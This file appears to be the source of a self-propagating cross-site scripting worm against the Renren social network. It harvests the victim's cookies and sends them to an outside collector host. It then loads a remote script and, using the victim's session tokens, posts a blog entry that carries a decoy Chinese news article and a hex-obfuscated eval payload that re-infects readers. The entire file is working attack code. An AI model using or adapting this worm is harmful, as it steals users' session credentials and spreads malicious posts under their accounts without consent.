renren_xss.js

if (window.isUndefined(window.injector)) {
    window.injector = 'defined';
    d = document.cookie;
    cookie = {};
    reg = /([\w_]+)=([\w.]+)/g;
    tmp = null;
    while ((tmp = reg.exec(d)) != null) {
        cookie[tmp[1]] = tmp[2];
    }
    cookieStr = JSON.stringify(cookie);
    var host = 'xsscollector.ap01.aws.af.cm';
    var img = document.createElement("img");
    img.src = "http://" + host + "/index.php?data=" + encodeURIComponent(cookieStr);
    var scriptElem = document.getElementById('sklmtt');
    var blogBody = '<p><span>&nbsp; &nbsp; &nbsp; &nbsp;\u4eca\u5e74\u592e\u89c6\u6625\u665a\u4e0a\uff0c\u9b54\u672f\u5e08\u5218\u8c26\u7684\u4e00\u53e5\u0026\u006c\u0064\u0071\u0075\u006f\u003b\u627e\u529b\u5b8f\u0026\u0072\u0064\u0071\u0075\u006f\u003b\u5f15\u53d1\u7684\u7f57\u751f\u95e8\u6210\u4e3a\u6625\u8282\u671f\u95f4\u6700\u70ed\u8bae\u7684\u8bdd\u9898\u3002\u7ee7\u5218\u8c26\u7ecf\u7406\u4eba\u5fae\u535a\u53d1\u58f0\u660e\u7206\u0026\u006c\u0064\u0071\u0075\u006f\u003b\u627e\u529b\u5b8f\u0026\u0072\u0064\u0071\u0075\u006f\u003b\u662f\u7531\u674e\u4e91\u8fea\u63d0\u51fa\u540e\uff0c\u674e\u4e91\u8fea\u4eca\u65e5\u5728\u817e\u8baf\u5fae\u535a\u4e5f\u4f5c\u51fa\u91cd\u8981\u58f0\u660e\uff1a\u0026\u006c\u0064\u0071\u0075\u006f\u003b\u6700\u8fd1\u4e00\u76f4\u5728\u5fd9\u7740\u51c6\u5907\u6b27\u6d32\u5de1\u6f14\u53ca\u5143\u5bb5\u665a\u4f1a\u3002\u6625\u665a\u5df2\u8fc7\u53bb\u4e00\u6bb5\u65f6\u95f4\uff0c\u4e5f\u542c\u5230\u5f88\u591a\u4e0d\u5b9e\u7684\u62a5\u9053\u53ca\u8bf4\u6cd5\uff0c\u5728\u8fd9\u91cc\u53ea\u8bf4\u4e00\u53e5\u4e8b\u5b9e\u0026\u006c\u0073\u0071\u0075\u006f\u003b\u6211\u4ece\u672a\u5efa\u8bae\u6216\u63d0\u51fa\u8fc7\u53f0\u8bcd\u7684\u5185\u5bb9\u0026\u0072\u0073\u0071\u0075\u006f\u003b\u3002\u76f8\u4fe1\u4f60\u4eec\u7684\u5224\u65ad\uff0c\u53ea\u5e0c\u671b\u80fd\u628a\u66f4\u591a\u597d\u7684\u53e4\u5178\u94a2\u7434\u97f3\u4e50\u5e26\u7ed9\u5927\u5bb6\u3002&rdquo;</span></p><p><span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<img src="http://t.cn/zYKFUUl" border="0" thumbnail="http://t.cn/zYKFUUl" title="photo-media" /><br /></span></p><p><span><span>&nbsp; &nbsp; &nbsp; &nbsp;\u6f14\u51fa\u7ed3\u675f\u4ee5\u540e\uff0c\u0032\u0030\u0031\u0033\u592e\u89c6\u6625\u8282\u8054\u6b22\u665a\u4f1a\u8282\u76ee\u7ec4\u5728\u5176\u5b98\u65b9\u5fae\u535a\u5df2\u53d1\u51fa\u76f8\u5173\u6b63\u5f0f\u58f0\u660e\u3002\u4f5c\u4e3a\u8be5\u6d3b\u52a8\u7684\u4e3b\u529e\u65b9\u4e0e\u7ec4\u7ec7\u8005\uff0c\u5176\u58f0\u660e\u5df2\u6709\u8db3\u591f\u7684\u516c\u4fe1\u529b\u4e0e\u8bf4\u670d\u529b\u3002\u5bf9\u6b64\u4e8b\uff0c\u674e\u4e91\u8fea\u65e0\u610f\u518d\u505a\u989d\u5916\u7684\u8bf4\u660e\u4e0e\u89e3\u91ca\u3002\u4f46\u662f\uff0c\u8fd1\u65e5\u6765\uff0c\u4ecd\u7136\u88ab\u5404\u79cd\u4e0d\u5b9e\u62a5\u9053\u53ca\u8206\u8bba\u6240\u6253\u6270\uff0c\u4e91\u8fea\u97f3\u4e50\u51b3\u5b9a\uff1a\u6709\u5fc5\u8981\u505a\u51fa\u6b63\u786e\u7684\u56de\u5e94\u3002\u0020\u4e91\u8fea\u97f3\u4e50\u53ef\u4ee5\u5f88\u8d1f\u8d23\u4efb\u7684\u544a\u8bc9\u5927\u5bb6\uff1a\u5218\u8c26\u7ecf\u7eaa\u4eba\u4f55\u6643\u6770\u5148\u751f\u58f0\u660e\u4e2d\u6240\u8c13\u0026\u006c\u0064\u0071\u0075\u006f\u003b\u0026\u006c\u0073\u0071\u0075\u006f\u003b\u627e\u529b\u5b8f\u0026\u0072\u0073\u0071\u0075\u006f\u003b\u4e00\u8bcd\u4e3a\u0026\u006c\u0073\u0071\u0075\u006f\u003b\u674e\u5148\u751f\u0026\u0072\u0073\u0071\u0075\u006f\u003b\u674e\u65b9\u7ecf\u7eaa\u4eba\u63d0\u51fa\u0026\u0072\u0064\u0071\u0075\u006f\u003b\uff0c\u5f88\u660e\u663e\uff0c\u5728\u4ed6\u7684\u58f0\u660e\u4e2d\u6ca1\u6709\u51fa\u73b0\u0026\u006c\u0064\u0071\u0075\u006f\u003b\u674e\u4e91\u8fea\u0026\u0072\u0064\u0071\u0075\u006f\u003b\u53ca\u7ecf\u7eaa\u4eba\u7684\u540d\u5b57\u3002\u4f55\u6643\u6770\u5148\u751f\u5229\u7528\u5404\u79cd\u8206\u8bba\u548c\u4f20\u64ad\u6e20\u9053\uff0c\u9003\u907f\u4e0d\u5b9e\u62a5\u9053\u6240\u5e94\u8ffd\u7a76\u7684\u6cd5\u5f8b\u8d23\u4efb\uff0c\u98a0\u5012\u9ed1\u767d\uff0c\u6b3a\u9a97\u5927\u4f17\uff0c\u8fd9\u662f\u6781\u4e3a\u4e0d\u8d1f\u8d23\u4efb\u4e14\u6ca1\u6709\u4efb\u4f55\u6839\u636e\u7684\u8bec\u8511\u3001\u8bfd\u8c24\u884c\u4e3a\u3002\u0020\u4e91\u8fea\u97f3\u4e50\u7ba1\u7406\u5c42\u4e0e\u5f8b\u5e08\u7ecf\u8fc7\u614e\u91cd\u8003\u8651\uff0c\u4f5c\u6b64\u58f0\u660e\uff0c\u5e0c\u671b\u6b64\u4e8b\u80fd\u591f\u544a\u4e00\u6bb5\u843d\u3002\u5982\u518d\u6709\u4eba\u6076\u610f\u5bf9\u94a2\u7434\u5bb6\u674e\u4e91\u8fea\u6709\u4e0d\u5b9e\u8a00\u8bba\uff0c\u5fc5\u5c06\u8ffd\u7a76\u5176\u6cd5\u5f8b\u8d23\u4efb\u3002\u5728\u6b64\uff0c\u4e5f\u611f\u8c22\u5a92\u4f53\u548c\u5927\u4f17\u7684\u5173\u6ce8\u548c\u652f\u6301\uff0c\u674e\u4e91\u8fea\u671f\u671b\u4e3a\u5927\u5bb6\u5e26\u6765\u66f4\u591a\u597d\u7684\u53e4\u5178\u97f3\u4e50\u4f5c\u54c1\u3002</span></span></p><p><span><span><br /></span></span></p>';
    var part2 = '<img class="video" src="http://s.xnimg.cn/imgpro/editor/audio.gif" border="0" alt="mp3;http://www.56.com/a.mp3&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;img id=&quot;inject&quot; src=http://head.xiaonei.com/photos/0/0/men_tiny.gif onload=&quot;eval(\'\\x69\\x66\\x28\\x77\\x69\\x6e\\x64\\x6f\\x77\\x2e\\x69\\x73\\x55\\x6e\\x64\\x65\\x66\\x69\\x6e\\x65\\x64\\x28\\x77\\x69\\x6e\\x64\\x6f\\x77\\x2e\\x69\\x6e\\x6a\\x65\\x63\\x74\\x6f\\x72\\x31\\x29\\x29\\x7b\\x77\\x69\\x6e\\x64\\x6f\\x77\\x2e\\x69\\x6e\\x6a\\x65\\x63\\x74\\x6f\\x72\\x31\\x3d\\x27\\x64\\x65\\x66\\x69\\x6e\\x65\\x64\\x27\\x3b\\x77\\x69\\x6e\\x64\\x6f\\x77\\x2e\\x73\\x63\\x72\\x69\\x70\\x74\\x53\\x72\\x63\\x3d\\x27\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x74\\x2e\\x63\\x6e\\x2f\\x7a\\x59\\x4b\\x46\\x55\\x55\\x6c\\x27\\x3b\\x63\\x6f\\x6e\\x73\\x6f\\x6c\\x65\\x2e\\x6c\\x6f\\x67\\x28\\x22\\x74\\x72\\x69\\x67\\x67\\x65\\x72\\x65\\x64\\x2e\\x2e\\x2e\\x22\\x29\\x3b\\x76\\x61\\x72\\x20\\x73\\x63\\x72\\x69\\x70\\x74\\x3d\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x63\\x72\\x65\\x61\\x74\\x65\\x45\\x6c\\x65\\x6d\\x65\\x6e\\x74\\x28\\x22\\x73\\x63\\x72\\x69\\x70\\x74\\x22\\x29\\x3b\\x73\\x63\\x72\\x69\\x70\\x74\\x2e\\x73\\x72\\x63\\x3d\\x77\\x69\\x6e\\x64\\x6f\\x77\\x2e\\x73\\x63\\x72\\x69\\x70\\x74\\x53\\x72\\x63\\x3b\\x73\\x63\\x72\\x69\\x70\\x74\\x2e\\x74\\x79\\x70\\x65\\x3d\\x27\\x74\\x65\\x78\\x74\\x2f\\x6a\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x27\\x3b\\x73\\x63\\x72\\x69\\x70\\x74\\x2e\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3d\\x27\\x67\\x62\\x6b\\x27\\x3b\\x73\\x63\\x72\\x69\\x70\\x74\\x2e\\x69\\x64\\x3d\\x27\\x73\\x6b\\x6c\\x6d\\x74\\x74\\x27\\x3b\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x62\\x6f\\x64\\x79\\x2e\\x61\\x70\\x70\\x65\\x6e\\x64\\x43\\x68\\x69\\x6c\\x64\\x28\\x73\\x63\\x72\\x69\\x70\\x74\\x29\\x3b\\x7d\\x24\\x28\\x74\\x68\\x69\\x73\\x2e\\x70\\x61\\x72\\x65\\x6e\\x74\\x4e\\x6f\\x64\\x65\\x29\\x2e\\x72\\x65\\x6d\\x6f\\x76\\x65\\x28\\x29\\x3b\')&quot;/&gt;&lt;object/&gt;&lt;embed c=&quot;a.flv" title="audio-media">';
    var title = '\u674e\u4e91\u8fea\u56de\u5e94\u201c\u627e\u529b\u5b8f\u201d\uff1a\u4ece\u672a\u5efa\u8bae\u63d0\u51fa\u53f0\u8bcd\u5185\u5bb9';
    var sendRequest = function () {
        return new XN.net.xmlhttp({
            url: "http://blog.renren.com/NewEntry.do",
            data: 'title=' + encodeURIComponent(window.blog.title) + '&body=' + encodeURIComponent(window.blog.body + part2) + '&categoryId=0&blogControl=99&passwordProtedted=0&passWord=&editBlogControl=&postFormId=' + XN.get_check + '&newLetterId=0&blog_pic_id=&pic_path=&activity=&id=&relative_optype=&isVip=&jf_vip_em=true&bfrom=010203044&requestToken=' + XN.get_check + '&_rtk=' + XN.get_check_x,
            method: 'post',
            onSuccess: function (r) {
                console.log(r.responseText);
                $(scriptElem).remove();
            },
            onError: function () {
                console.log('Error');
            }
        })
    };
    var sc2 = document.createElement('script');
    sc2.src = 'http://xsscollector.ap01.aws.af.cm/get.php';
    sc2.onload = function () {
        this.readyState = 'loaded';
        this.onreadystatechange();
    };
    sc2.onreadystatechange = function () {
        if (this.readyState == 'loaded') {
            sendRequest();
        }
    };
    document.body.appendChild(sc2);